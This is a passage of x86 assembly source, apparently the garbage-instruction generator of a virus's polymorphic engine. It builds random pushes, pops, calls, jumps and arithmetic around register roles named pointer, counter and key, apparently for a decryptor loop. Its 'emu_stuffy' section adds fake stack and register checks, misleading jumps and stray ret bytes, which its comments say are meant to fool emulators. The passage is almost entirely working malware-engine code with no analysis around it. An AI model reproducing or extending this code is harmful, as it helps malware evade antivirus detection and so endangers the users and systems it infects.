|
stosw
|
|||
|
|
call get_address
|
|||
|
|
jmp pre_exit_dd
|
|||
|
|
|
|||
|
|
push_immediate_by:
|
|||
|
|
mov al,6ah
|
|||
|
|
stosb
|
|||
|
|
shr ah,1
|
|||
|
|
jc zero_or_menouno
|
|||
|
|
bswap eax
|
|||
|
|
jmp pre_exit_pusher
|
|||
|
|
|
|||
|
|
zero_or_menouno: ; very usual pushes
|
|||
|
|
xchg ah,al
|
|||
|
|
and al,01b ; so we will get 0 or -1
|
|||
|
|
dec al ; to LARGE 0 or to LARGE -1
|
|||
|
|
jmp pre_exit_pusher
|
|||
|
|
|
|||
|
|
push_immediate_dd:
|
|||
|
|
mov al,68h
|
|||
|
|
stosb
|
|||
|
|
call get_random
|
|||
|
|
pre_exit_dd:
|
|||
|
|
stosd ; normal push as double
|
|||
|
|
jmp exit_pusher
|
|||
|
|
|
|||
|
|
push_register:
|
|||
|
|
call get_random_al7
|
|||
|
|
add al,050h
|
|||
|
|
pre_exit_pusher:
|
|||
|
|
stosb
|
|||
|
|
exit_pusher:
|
|||
|
|
jmp exit_ppc
|
|||
|
|
|
|||
|
|
do_pop:
|
|||
|
|
cmp byte ptr [t_pushed+ebp],00h
|
|||
|
|
je return_nopop
|
|||
|
|
do_pop_nocheck:
|
|||
|
|
call get_random
|
|||
|
|
shr al,1
|
|||
|
|
jnc popintoreg2
|
|||
|
|
mov ax,0c483h ; add esp,
|
|||
|
|
stosw
|
|||
|
|
get_number:
|
|||
|
|
call get_random_al7
|
|||
|
|
jz get_number
|
|||
|
|
cmp al,byte ptr [t_pushed+ebp]
|
|||
|
|
ja get_number
|
|||
|
|
force_popall:
|
|||
|
|
sub byte ptr [t_pushed+ebp],al
|
|||
|
|
shl al,2 ; dd are pushed, so * 4
|
|||
|
|
jmp store_ngo2
|
|||
|
|
popintoreg2:
|
|||
|
|
call get_register
|
|||
|
|
add cl,058h ; pop in a register
|
|||
|
|
xchg eax,ecx
|
|||
|
|
dec byte ptr [t_pushed+ebp]
|
|||
|
|
store_ngo2:
|
|||
|
|
stosb
|
|||
|
|
return_nopop:
|
|||
|
|
jmp exit_ppc
|
|||
|
|
|
|||
|
|
call_subroutines:
|
|||
|
|
cmp word ptr [t_maxjmps+ebp],0h ; don't nest too much nor
|
|||
|
|
jne just_exit_call ; put pushes/pops in subs and
|
|||
|
|
; we can't know wassup in
|
|||
|
|
; conditional jumps and such
|
|||
|
|
|
|||
|
|
inc byte ptr [t_inacall+ebp]
|
|||
|
|
|
|||
|
|
call get_random_al7
|
|||
|
|
cmp al,01h ; 00h and 01h push
|
|||
|
|
jbe do_push
|
|||
|
|
cmp al,05 ; 02h - 05h pops (more probable so final stack
|
|||
|
|
jbe do_pop ; correction should be needed less often)
|
|||
|
|
|
|||
|
|
; 06,07 do a call
|
|||
|
|
mov al,0e8h
|
|||
|
|
stosb
|
|||
|
|
stosd ; place for offset
|
|||
|
|
|
|||
|
|
push edi
|
|||
|
|
call rnd_garbage
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
mov al,0e9h
|
|||
|
|
stosb
|
|||
|
|
stosd ; jump offset
|
|||
|
|
push edi
|
|||
|
|
call krappo_gen ; random bytes
|
|||
|
|
call rnd_garbage
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
neg ebx
|
|||
|
|
add ebx,edi
|
|||
|
|
xchg eax,ebx
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
mov dword ptr [ebx-4],eax ; call offset
|
|||
|
|
|
|||
|
|
call rnd_garbage ; this is the called "subroutine"
|
|||
|
|
|
|||
|
|
call get_random ; more ways of getting back from subroutine,
|
|||
|
|
shr al,1 ; either with normal ret or by correcting the
|
|||
|
|
jnc normal_ret ; stack by popping or by adding to esp
|
|||
|
|
shr al,1
|
|||
|
|
jnc popintoreg
|
|||
|
|
mov ax,0c483h ; add esp,
|
|||
|
|
stosw
|
|||
|
|
mov al,4
|
|||
|
|
jmp store_ngo
|
|||
|
|
popintoreg:
|
|||
|
|
call get_register
|
|||
|
|
add cl,058h ; pop base
|
|||
|
|
xchg eax,ecx
|
|||
|
|
jmp store_ngo
|
|||
|
|
normal_ret:
|
|||
|
|
mov al,0c3h ; ret
|
|||
|
|
stosb
|
|||
|
|
bswap eax ; some random
|
|||
|
|
and eax,07h
|
|||
|
|
cmp al,4
|
|||
|
|
jb do_the_int3s
|
|||
|
|
jne no_ccs
|
|||
|
|
random_crap:
|
|||
|
|
call krappo_gen
|
|||
|
|
jmp no_ccs
|
|||
|
|
do_the_int3s:
|
|||
|
|
xchg eax,ecx
|
|||
|
|
mov al,0cch ; int3, usual after subroutines in win32s
|
|||
|
|
rep stosb
|
|||
|
|
store_ngo:
|
|||
|
|
stosb
|
|||
|
|
no_ccs:
|
|||
|
|
call rnd_garbage
|
|||
|
|
|
|||
|
|
pop ebx ; jump offset
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
neg ebx
|
|||
|
|
add ebx,edi
|
|||
|
|
xchg eax,ebx
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
mov dword ptr [ebx-4],eax
|
|||
|
|
exit_ppc:
|
|||
|
|
dec byte ptr [t_inacall+ebp]
|
|||
|
|
just_exit_call:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
maths_immediate_short:
|
|||
|
|
stc
|
|||
|
|
jmp maths_immediate_1
|
|||
|
|
|
|||
|
|
maths_immediate:
|
|||
|
|
clc
|
|||
|
|
maths_immediate_1:
|
|||
|
|
pushf
|
|||
|
|
call get_random ; (0 to 7) * 8
|
|||
|
|
and al,0111000b
|
|||
|
|
add al,0c0h ; the base
|
|||
|
|
popf
|
|||
|
|
push eax
|
|||
|
|
pushf
|
|||
|
|
call get_register
|
|||
|
|
add al,cl
|
|||
|
|
mov ah,81h ; prefix
|
|||
|
|
popf
|
|||
|
|
pushf
|
|||
|
|
jnc not_a_shortone
|
|||
|
|
inc ah
|
|||
|
|
inc ah
|
|||
|
|
not_a_shortone:
|
|||
|
|
xchg ah,al
|
|||
|
|
stosw
|
|||
|
|
call g_dimension
|
|||
|
|
popf
|
|||
|
|
jnc not_a_shortone2
|
|||
|
|
mov cl,01h
|
|||
|
|
not_a_shortone2:
|
|||
|
|
call put_immediates
|
|||
|
|
pop eax
|
|||
|
|
cmp al,0f8h ; is a CMP
|
|||
|
|
jne not_compare
|
|||
|
|
make_jmp_after_cmp:
|
|||
|
|
call get_random
|
|||
|
|
and eax,01b ; long or short jump
|
|||
|
|
add al,06h ; short jump
|
|||
|
|
jmp make_jump
|
|||
|
|
not_compare:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
cdq_jmps_savestack:
|
|||
|
|
call get_random_al7
|
|||
|
|
sub al,3
|
|||
|
|
jc exit_c_j_ss
|
|||
|
|
xchg eax,ecx
|
|||
|
|
mov al,byte ptr [ecx+offset change_jump+ebp]
|
|||
|
|
cmp cl,1
|
|||
|
|
ja not_cdq_cbw
|
|||
|
|
|
|||
|
|
test byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
|
|||
|
|
jnz exit_c_j_ss
|
|||
|
|
stosb
|
|||
|
|
inc edi
|
|||
|
|
call g_dimension
|
|||
|
|
dec edi
|
|||
|
|
jmp exit_c_j_ss
|
|||
|
|
not_cdq_cbw:
|
|||
|
|
cmp cl,4
|
|||
|
|
je pushandmov
|
|||
|
|
add cl,4 ; this is used for dimension
|
|||
|
|
jmp do_that_fjump ; do as for conditional ones
|
|||
|
|
pushandmov:
|
|||
|
|
|
|||
|
|
call select_save
|
|||
|
|
jc exit_c_j_ss
|
|||
|
|
|
|||
|
|
xchg eax,ebx
|
|||
|
|
mov al,50h ; push
|
|||
|
|
|
|||
|
|
xor ch,ch ; so it won't be erased from stack
|
|||
|
|
xchg ch,byte ptr [t_pushed+ebp]
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
call unset_used ; mark that as unused one
|
|||
|
|
add al,bl ; push the reg
|
|||
|
|
stosb
|
|||
|
|
call rnd_garbage
|
|||
|
|
add al,08h ; pop opcode
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
pop ebx
|
|||
|
|
mov byte ptr [t_pushed+ebp],bh
|
|||
|
|
mov byte ptr [r_used+ebp],bl
|
|||
|
|
exit_c_j_ss:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
gen_one_byters:
|
|||
|
|
call get_random_al7
|
|||
|
|
make_jump:
|
|||
|
|
mov cl,al
|
|||
|
|
mov al,byte ptr [eax+offset one_byters+ebp] ; get onebyter
|
|||
|
|
cmp cl,05h
|
|||
|
|
jbe not_jump
|
|||
|
|
do_that_fjump:
|
|||
|
|
cmp byte ptr [t_maxjmps+ebp],3 ; don't nest too much
|
|||
|
|
je just_exit
|
|||
|
|
inc byte ptr [t_maxjmps+ebp]
|
|||
|
|
|
|||
|
|
cmp al,0e9h ; for unconditional ones skip some
|
|||
|
|
jae skip_unc ; things
|
|||
|
|
|
|||
|
|
cmp cl,07h
|
|||
|
|
jne not_longjump
|
|||
|
|
push eax
|
|||
|
|
mov al,0fh ; long prefix
|
|||
|
|
stosb
|
|||
|
|
pop eax
|
|||
|
|
not_longjump:
|
|||
|
|
push eax
|
|||
|
|
call get_random
|
|||
|
|
and al,0fh
|
|||
|
|
mov ch,al
|
|||
|
|
pop eax
|
|||
|
|
add al,ch
|
|||
|
|
skip_unc:
|
|||
|
|
stosb ; type of jump
|
|||
|
|
stosb ; first off
|
|||
|
|
cmp cl,07h
|
|||
|
|
jne not_longone
|
|||
|
|
dec edi
|
|||
|
|
stosd
|
|||
|
|
not_longone:
|
|||
|
|
push edi
|
|||
|
|
call rnd_garbage
|
|||
|
|
pop ebx
|
|||
|
|
mov eax,edi
|
|||
|
|
sub eax,ebx ; offset of jump
|
|||
|
|
dec byte ptr [t_maxjmps+ebp]
|
|||
|
|
cmp cl,7
|
|||
|
|
je long_jumper
|
|||
|
|
cmp eax,7fh ; if not too big then use it
|
|||
|
|
jb good_jump
|
|||
|
|
mov edi,ebx ; else forget everything
|
|||
|
|
dec edi
|
|||
|
|
dec edi
|
|||
|
|
ret
|
|||
|
|
good_jump:
|
|||
|
|
mov byte ptr [ebx-1],al
|
|||
|
|
ret
|
|||
|
|
long_jumper:
|
|||
|
|
mov dword ptr [ebx-4],eax
|
|||
|
|
ret
|
|||
|
|
not_jump:
|
|||
|
|
stosb
|
|||
|
|
just_exit:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
mem_assign:
|
|||
|
|
mov ax,058bh
|
|||
|
|
jmp mem_common
|
|||
|
|
|
|||
|
|
mem_mathops:
|
|||
|
|
call get_random
|
|||
|
|
and al,111000b ; (0 to 7) * 8
|
|||
|
|
add al,03h ; base
|
|||
|
|
mem_common:
|
|||
|
|
push eax
|
|||
|
|
call get_register
|
|||
|
|
shl cl,3 ; *8
|
|||
|
|
add cl,05h ; base for eax
|
|||
|
|
mov ah,cl
|
|||
|
|
stosw
|
|||
|
|
call g_dimension
|
|||
|
|
|
|||
|
|
; now offset
|
|||
|
|
call get_address
|
|||
|
|
stosd
|
|||
|
|
pop eax
|
|||
|
|
cmp al,3bh ; is a cmp
|
|||
|
|
je make_jmp_after_cmp ; if so force a compare
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
diff_movz: ; movsx,movzx,bt,btc,btr,bts,bswap
|
|||
|
|
call get_random ; 1 bit dim, 2 bit m/b
|
|||
|
|
mov cl,al
|
|||
|
|
mov dh,ah
|
|||
|
|
test cl,1100000b
|
|||
|
|
jnz no_wpf
|
|||
|
|
mov al,066h
|
|||
|
|
stosb
|
|||
|
|
no_wpf:
|
|||
|
|
mov al,0fh
|
|||
|
|
stosb
|
|||
|
|
mov al,0b6h
|
|||
|
|
shr cl,1
|
|||
|
|
jc some_bt
|
|||
|
|
shr cl,1
|
|||
|
|
jc zero_extend
|
|||
|
|
add al,08h
|
|||
|
|
zero_extend:
|
|||
|
|
shr cl,1
|
|||
|
|
jc dest_dw ; generate movsx/movzx on d or w
|
|||
|
|
inc al
|
|||
|
|
dest_dw:
|
|||
|
|
stosb
|
|||
|
|
call get_random_al7
|
|||
|
|
mov dl,al
|
|||
|
|
add al,0c0h
|
|||
|
|
call get_register
|
|||
|
|
shl cl,3
|
|||
|
|
add al,cl
|
|||
|
|
and dh,011b
|
|||
|
|
pushf
|
|||
|
|
jnz just_regs
|
|||
|
|
sub al,0c0h-05h
|
|||
|
|
sub al,dl
|
|||
|
|
just_regs:
|
|||
|
|
stosb
|
|||
|
|
popf
|
|||
|
|
jnz justret_r
|
|||
|
|
call get_address
|
|||
|
|
stosd
|
|||
|
|
justret_r:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
some_bt:
|
|||
|
|
shr cl,1
|
|||
|
|
jc do_bswap
|
|||
|
|
add al,04h ; btX second byte
|
|||
|
|
stosb
|
|||
|
|
and cl,011000b
|
|||
|
|
add cl,0e0h
|
|||
|
|
mov al,cl
|
|||
|
|
call get_register
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
shr dh,1
|
|||
|
|
pushf ; make jmp after or not
|
|||
|
|
and dh,01fh ; not much sense doing > 32
|
|||
|
|
mov al,dh
|
|||
|
|
stosb
|
|||
|
|
popf
|
|||
|
|
jc make_jmp_after_cmp
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
do_bswap:
|
|||
|
|
call get_register
|
|||
|
|
mov al,0c8h ; bswap
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
mov_registers:
|
|||
|
|
call get_random_al7 ; random source
|
|||
|
|
add al,0c0h
|
|||
|
|
mov ah,08bh
|
|||
|
|
call get_register ; useful dest
|
|||
|
|
shl cl,3
|
|||
|
|
add al,cl
|
|||
|
|
xchg ah,al
|
|||
|
|
stosw
|
|||
|
|
jmp g_dimension
|
|||
|
|
|
|||
|
|
maths_registers:
|
|||
|
|
call get_random
|
|||
|
|
and al,0111000b
|
|||
|
|
add al,03h ; base
|
|||
|
|
mov ah,0c0h ; suff
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
call get_register ; dest
|
|||
|
|
shl cl,03h
|
|||
|
|
add ah,cl
|
|||
|
|
|
|||
|
|
xchg eax,ecx ; save temp in ecx
|
|||
|
|
call get_random_al7 ; all regs
|
|||
|
|
xchg eax,ecx ; reg in ECX and restore EAX
|
|||
|
|
|
|||
|
|
add ah,cl
|
|||
|
|
stosw
|
|||
|
|
|
|||
|
|
call g_dimension
|
|||
|
|
pop eax
|
|||
|
|
cmp al,3bh
|
|||
|
|
je make_jmp_after_cmp
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
rotating_imms:
|
|||
|
|
call get_random_al7
|
|||
|
|
cmp al,0110b ; 0f0 doesn't exist
|
|||
|
|
je rotating_imms
|
|||
|
|
shl al,3 ; *8
|
|||
|
|
add al,0c0h
|
|||
|
|
|
|||
|
|
call get_register
|
|||
|
|
add al,cl
|
|||
|
|
mov ah,0c1h
|
|||
|
|
xchg al,ah
|
|||
|
|
stosw
|
|||
|
|
call g_dimension
|
|||
|
|
xor ecx,ecx
|
|||
|
|
inc cl
|
|||
|
|
jmp put_immediates
|
|||
|
|
|
|||
|
|
notneg_register:
|
|||
|
|
call get_random
|
|||
|
|
shr al,1
|
|||
|
|
mov ax,0d0f7h
|
|||
|
|
jc not_add
|
|||
|
|
add ah,08h
|
|||
|
|
not_add:
|
|||
|
|
call get_register
|
|||
|
|
add ah,cl
|
|||
|
|
stosw
|
|||
|
|
; jmp g_dimension
|
|||
|
|
|
|||
|
|
g_dimension:
|
|||
|
|
; EDI after generated garb
|
|||
|
|
reget_dim:
|
|||
|
|
call get_random_al7
|
|||
|
|
cmp al,2
|
|||
|
|
jae no_change
|
|||
|
|
word_change:
|
|||
|
|
mov ecx,dword ptr [edi-2]
|
|||
|
|
mov byte ptr [edi-2],66h ; the prefix
|
|||
|
|
mov dword ptr [edi-1],ecx
|
|||
|
|
inc edi
|
|||
|
|
mov al,2
|
|||
|
|
jmp post_no_change
|
|||
|
|
no_change:
|
|||
|
|
mov al,4
|
|||
|
|
post_no_change:
|
|||
|
|
xchg eax,ecx ; in ECX needed immediates
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
imm_assign:
|
|||
|
|
call get_register
|
|||
|
|
mov al,0b8h ; base
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
inc edi
|
|||
|
|
call g_dimension
|
|||
|
|
dec edi
|
|||
|
|
; jmp put_immediates
|
|||
|
|
|
|||
|
|
put_immediates:
|
|||
|
|
; cl how many
|
|||
|
|
call get_random
|
|||
|
|
put_imm_part:
|
|||
|
|
stosb
|
|||
|
|
shr eax,8
|
|||
|
|
loop put_imm_part
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
inc_dec_reg:
|
|||
|
|
call get_random
|
|||
|
|
and al,01000b ; 0 or 8
|
|||
|
|
add al,40h ; incdec generation
|
|||
|
|
call get_register
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
inc edi
|
|||
|
|
call g_dimension
|
|||
|
|
dec edi
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
xchg_regs:
|
|||
|
|
mov al,087h ; xchg eax,eax
|
|||
|
|
call get_register
|
|||
|
|
mov ah,cl
|
|||
|
|
call get_register
|
|||
|
|
common_test_xchg:
|
|||
|
|
shl cl,3
|
|||
|
|
add ah,cl
|
|||
|
|
add ah,0c0h
|
|||
|
|
stosw
|
|||
|
|
jmp g_dimension
|
|||
|
|
|
|||
|
|
test_regs:
|
|||
|
|
call get_random
|
|||
|
|
xchg eax,ecx
|
|||
|
|
and cx,0707h
|
|||
|
|
mov ah,ch
|
|||
|
|
mov al,085h ; test eax,eax
|
|||
|
|
jmp common_test_xchg
|
|||
|
|
|
|||
|
|
temp_save_change:
|
|||
|
|
call get_random_al7
|
|||
|
|
sub al,6 ; 1/4 probability, since this couldn't
|
|||
|
|
jc skip_changer ; come too often
|
|||
|
|
|
|||
|
|
call select_save
|
|||
|
|
jc skip_changer
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
call save_mov_xchg
|
|||
|
|
|
|||
|
|
xchg eax,ecx ; in al new register
|
|||
|
|
mov al,byte ptr [edx] ; imp_reg
|
|||
|
|
shl al,3
|
|||
|
|
xchg eax,ecx
|
|||
|
|
add al,cl
|
|||
|
|
or al,0c0h
|
|||
|
|
xchg al,ah
|
|||
|
|
stosw ; mov important_reg,some_reg
|
|||
|
|
pop ebx
|
|||
|
|
mov byte ptr [r_used+ebp],bl ; restore regs status
|
|||
|
|
skip_changer:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
select_save:
|
|||
|
|
call get_random_al7
|
|||
|
|
sub al,5 ; get from 0 to 2
|
|||
|
|
jc select_save
|
|||
|
|
|
|||
|
|
xchg eax,edx
|
|||
|
|
add edx,offset r_pointer
|
|||
|
|
add edx,ebp
|
|||
|
|
mov al,byte ptr [edx]
|
|||
|
|
|
|||
|
|
cmp al,0ffh ; not already assigned?
|
|||
|
|
je exit_bad
|
|||
|
|
|
|||
|
|
cmp al,20h ; no key signature, if so skip
|
|||
|
|
je exit_bad
|
|||
|
|
|
|||
|
|
call is_used ; maybe is already saved on stack or
|
|||
|
|
jnz return_good ; such?
|
|||
|
|
exit_bad:
|
|||
|
|
stc
|
|||
|
|
ret
|
|||
|
|
return_good:
|
|||
|
|
mov cl,byte ptr [r_used+ebp]
|
|||
|
|
clc
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
save_mov_xchg:
|
|||
|
|
xchg eax,ebx
|
|||
|
|
call get_register ; get an usable register
|
|||
|
|
xchg eax,ecx
|
|||
|
|
call set_used ; set this one as used
|
|||
|
|
call unset_used ; and the previous as unused
|
|||
|
|
mov ah,087h ; xchg reg,reg base
|
|||
|
|
push eax
|
|||
|
|
xor ecx,ecx
|
|||
|
|
call get_random ; select if using mov or xchg
|
|||
|
|
shr al,1
|
|||
|
|
jc use_mov_first
|
|||
|
|
mov cl,4 ; + 4 becames mov reg,reg base
|
|||
|
|
use_mov_first:
|
|||
|
|
shr al,1 ; when just saving this won't be used
|
|||
|
|
jc use_mov_after ; select whichone for restore aswell
|
|||
|
|
mov ch,4
|
|||
|
|
use_mov_after:
|
|||
|
|
pop eax
|
|||
|
|
add ah,ch ; restore one
|
|||
|
|
push eax
|
|||
|
|
sub ah,ch
|
|||
|
|
add ah,cl
|
|||
|
|
shl al,3 ; * 8
|
|||
|
|
add al,bl
|
|||
|
|
or al,0c0h ; mov some_reg,important_reg
|
|||
|
|
xchg al,ah
|
|||
|
|
stosw ; put the moving of regs
|
|||
|
|
call rnd_garbage
|
|||
|
|
pop eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
sets_misc:
|
|||
|
|
call get_random ; type of sel
|
|||
|
|
mov al,0fh
|
|||
|
|
and ah,al
|
|||
|
|
add ah,090h
|
|||
|
|
call get_register
|
|||
|
|
cmp cl,3
|
|||
|
|
ja cant_useset ; won't retry, so not too many
|
|||
|
|
stosw
|
|||
|
|
bswap eax ; rnd
|
|||
|
|
shr al,1
|
|||
|
|
jc docs_ones
|
|||
|
|
add cl,08h ; has 2 set of ocodes
|
|||
|
|
docs_ones:
|
|||
|
|
shr al,1
|
|||
|
|
jc low_ones
|
|||
|
|
add cl,04h ; high or low 8
|
|||
|
|
low_ones:
|
|||
|
|
mov al,0c0h
|
|||
|
|
add al,cl
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
cant_useset: ; shld/shrd
|
|||
|
|
test ah,110b ; last bit used later
|
|||
|
|
jnz no_66p
|
|||
|
|
push eax
|
|||
|
|
mov al,066h ; with words
|
|||
|
|
stosb
|
|||
|
|
pop eax
|
|||
|
|
no_66p:
|
|||
|
|
shr ah,1
|
|||
|
|
mov ah,0a4h
|
|||
|
|
jc do_shlld
|
|||
|
|
add ah,0ch-04h ; shrd
|
|||
|
|
do_shlld:
|
|||
|
|
cmp cl,7
|
|||
|
|
jne noss_with_cl
|
|||
|
|
inc ah ; with immediate cl
|
|||
|
|
noss_with_cl:
|
|||
|
|
stosw
|
|||
|
|
call get_random
|
|||
|
|
and al,0111000b
|
|||
|
|
call get_register
|
|||
|
|
add al,cl
|
|||
|
|
add al,0c0h ; in ah we have rnd sh nr
|
|||
|
|
stosb
|
|||
|
|
test byte ptr [edi-2],01b ;was using cl?
|
|||
|
|
jnz wasnt_with_cl
|
|||
|
|
dec edi
|
|||
|
|
stosw
|
|||
|
|
wasnt_with_cl:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
xadd_cmpxchg:
|
|||
|
|
call get_random
|
|||
|
|
and ah,10h ; 10h or 00h
|
|||
|
|
jc np_nchk
|
|||
|
|
test byte ptr [ebp+r_used],01b ; is ax used?
|
|||
|
|
jnz home_xx ; if so no cmpxchg
|
|||
|
|
np_nchk:
|
|||
|
|
test al,110b
|
|||
|
|
jnz no_66pr
|
|||
|
|
mov al,66h
|
|||
|
|
stosb
|
|||
|
|
no_66pr:
|
|||
|
|
add ah,0b1h
|
|||
|
|
cmp byte ptr [edi-1],066h
|
|||
|
|
je cant_byterize
|
|||
|
|
and al,1
|
|||
|
|
sub ah,al ; cmpxchg or xadd with b or notb
|
|||
|
|
cant_byterize:
|
|||
|
|
mov al,0fh
|
|||
|
|
stosw
|
|||
|
|
get_reg1:
|
|||
|
|
call get_register
|
|||
|
|
mov ch,cl
|
|||
|
|
get_reg2:
|
|||
|
|
call get_register
|
|||
|
|
mov al,0c0h
|
|||
|
|
test byte ptr [edi-1],01b ; was using bytes?
|
|||
|
|
jnz no_byteprob
|
|||
|
|
cmp ch,3 ; if bytes must be <= 3
|
|||
|
|
ja get_reg1
|
|||
|
|
cmp cl,3
|
|||
|
|
ja get_reg2
|
|||
|
|
push eax
|
|||
|
|
bswap eax ; high part of rnd
|
|||
|
|
and ax,010000000100b ; random +4 on both src and dest
|
|||
|
|
add cx,ax
|
|||
|
|
pop eax
|
|||
|
|
no_byteprob:
|
|||
|
|
shl cl,3
|
|||
|
|
add al,cl
|
|||
|
|
add al,ch
|
|||
|
|
stosb
|
|||
|
|
home_xx:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
emu_stuffy: ; some stuff to try to fool emus
|
|||
|
|
call get_random
|
|||
|
|
and al,011111b ; not too often
|
|||
|
|
jnz keep_few_ae
|
|||
|
|
|
|||
|
|
lea edx,[ebp + offset t_pushed]
|
|||
|
|
|
|||
|
|
shr ah,1
|
|||
|
|
jc regs_checking
|
|||
|
|
|
|||
|
|
shr ah,1
|
|||
|
|
jc xlat_generation
|
|||
|
|
|
|||
|
|
stack_checking:
|
|||
|
|
; check if stack seems consistent or not
|
|||
|
|
mov al,68h ; push immediate opcode
|
|||
|
|
stosb
|
|||
|
|
call get_random
|
|||
|
|
stosd
|
|||
|
|
push eax
|
|||
|
|
xor ch,ch ; nr of dword on stack
|
|||
|
|
xchg ch,byte ptr [edx] ; don't smash our stack
|
|||
|
|
call rnd_garbage
|
|||
|
|
call get_register
|
|||
|
|
mov al,cl
|
|||
|
|
call set_used
|
|||
|
|
mov bl,al
|
|||
|
|
add al,058h ; pop opcode
|
|||
|
|
stosb
|
|||
|
|
mov byte ptr [edx],ch ; can work on stack again
|
|||
|
|
call rnd_garbage
|
|||
|
|
call unset_used
|
|||
|
|
|
|||
|
|
typepopchk:
|
|||
|
|
call get_random
|
|||
|
|
shr al,1
|
|||
|
|
jnc check_posones
|
|||
|
|
and ah,100000b ; add/and reg32, not/neg imm
|
|||
|
|
jnz just_not_atesp
|
|||
|
|
dec dword ptr [esp] ; since add needs the neg value
|
|||
|
|
just_not_atesp:
|
|||
|
|
not dword ptr [esp] ; the imm
|
|||
|
|
add ah,0c0h
|
|||
|
|
jmp chksta_st
|
|||
|
|
check_posones:
|
|||
|
|
and ah,011000b
|
|||
|
|
jz typepopchk
|
|||
|
|
add ah,0e0h
|
|||
|
|
chksta_st:
|
|||
|
|
mov al,81h ; cmp/sub/xor reg32,imm
|
|||
|
|
add ah,bl
|
|||
|
|
stosw
|
|||
|
|
pop eax ; value to check with
|
|||
|
|
stosd
|
|||
|
|
check_okequ:
|
|||
|
|
mov bx,07574h
|
|||
|
|
jmp do_jumpzh
|
|||
|
|
|
|||
|
|
|
|||
|
|
regs_checking:
|
|||
|
|
shr ah,1
|
|||
|
|
jc ss_play
|
|||
|
|
|
|||
|
|
shr ah,1
|
|||
|
|
jc mem_write
|
|||
|
|
|
|||
|
|
; ones just checking our regs (pointer and counter) consistency
|
|||
|
|
; compare with zero in various ways and jump at the right code if !=
|
|||
|
|
cmp dword ptr [edx - (offset t_pushed - offset w_loopbg)],00h
|
|||
|
|
; not in the loop
|
|||
|
|
jne keep_few_ae
|
|||
|
|
|
|||
|
|
bswap eax
|
|||
|
|
and eax,01b ; 0 or 1
|
|||
|
|
add eax,ebp
|
|||
|
|
add eax,offset r_pointer ; so will be r_pointer or r_counter
|
|||
|
|
mov al,byte ptr [eax]
|
|||
|
|
inc al ; already initialized ?
|
|||
|
|
jz keep_few_ae
|
|||
|
|
dec al
|
|||
|
|
call is_used ; check that we aren't in moving thingy
|
|||
|
|
jz keep_few_ae
|
|||
|
|
reran_h:
|
|||
|
|
call get_random_al7 ; type of cmp
|
|||
|
|
cmp al,5
|
|||
|
|
jae or_oring ; do or reg,reg
|
|||
|
|
|
|||
|
|
lea ebx,[edx - (offset t_pushed - offset chk_counter)]
|
|||
|
|
add ebx,eax ; which one
|
|||
|
|
mov ah,byte ptr [ebx]
|
|||
|
|
mov al,83h
|
|||
|
|
add ah,cl
|
|||
|
|
stosw
|
|||
|
|
xor al,al
|
|||
|
|
stosb ; with a zero
|
|||
|
|
jmp do_jumpzh_reg
|
|||
|
|
|
|||
|
|
or_oring:
|
|||
|
|
mov ax,0c00bh ; or eax,eax base
|
|||
|
|
add ah,cl ; have in cl the reg
|
|||
|
|
shl cl,3
|
|||
|
|
add ah,cl ; both src and dest
|
|||
|
|
stosw
|
|||
|
|
do_jumpzh_reg:
|
|||
|
|
mov bx,07475h
|
|||
|
|
; JZ and JNZ creation (considering BH is okay, while BL makes shit)
|
|||
|
|
do_jumpzh:
|
|||
|
|
call get_random
|
|||
|
|
shr al,1 ; do jz or jnz ?
|
|||
|
|
jnc do_jz_easily
|
|||
|
|
; else we have to do a construction with
|
|||
|
|
; more sense
|
|||
|
|
mov al,bl
|
|||
|
|
stosw
|
|||
|
|
too_long_redo:
|
|||
|
|
push dword ptr [edx] ; save stack situation
|
|||
|
|
mov ebx,edi ; jmp offset +1
|
|||
|
|
call rnd_garbage
|
|||
|
|
call get_random ; random byte to break execution or ret
|
|||
|
|
shr ah,1
|
|||
|
|
jc no_jmpback ; do a long jmp back to hide the loop one
|
|||
|
|
mov al,0e9h
|
|||
|
|
stosb
|
|||
|
|
or ax,0ffffh ; not too long
|
|||
|
|
bswap eax
|
|||
|
|
or ah,0f8h
|
|||
|
|
stosd
|
|||
|
|
jmp comehome
|
|||
|
|
no_jmpback:
|
|||
|
|
shr ah,1
|
|||
|
|
jnc rndbyteuse
|
|||
|
|
mov al,0c3h ; a ret is quite polite for the emu :)
|
|||
|
|
rndbyteuse:
|
|||
|
|
stosb
|
|||
|
|
comehome:
|
|||
|
|
call rnd_garbage
|
|||
|
|
pop dword ptr [edx]
|
|||
|
|
mov eax,edi
|
|||
|
|
sub eax,ebx
|
|||
|
|
cmp eax,07fh ; see it is not too long for a short jmp
|
|||
|
|
jbe oki_lenght
|
|||
|
|
mov edi,ebx ; else retry
|
|||
|
|
